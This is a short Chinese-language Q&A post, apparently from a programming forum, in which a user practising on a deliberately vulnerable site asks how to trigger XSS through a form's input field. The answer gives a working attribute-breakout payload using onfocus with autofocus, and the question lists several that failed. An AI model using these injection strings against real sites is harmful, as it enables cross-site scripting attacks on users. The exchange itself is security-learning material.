javascript - 如何在 HTML 输入字段中启动 XSS 代码？

Question

我正在努力在一个假冒的网站上寻找漏洞，我想知道如何在这个输入字段中启动 XSS 代码？

• 这是来自网站的代码：

<form name="friendForm" method="POST" action="/Tunestore/addfriend.do">
  Friend name: <input type="text" name="friend" value="&quot
    <script>alert(1)</script>"><br>
  <input type="submit" value="Submit">
</form>

• 我已经尝试过了，但没有奏效：

  "> <script>alert(1)</script>

  " onfocus="alert(1)"

  " onclick="alert(1)

标签： javascripthtmlxss

Answer 1

尝试这个：

" onfocus="alert(1)" autofocus="

它将扩展为：

<'input type="text" name="friend" value=" " onfocus="alert(1)" autofocus=" " />

这将导致一个警告框，显示 XSS。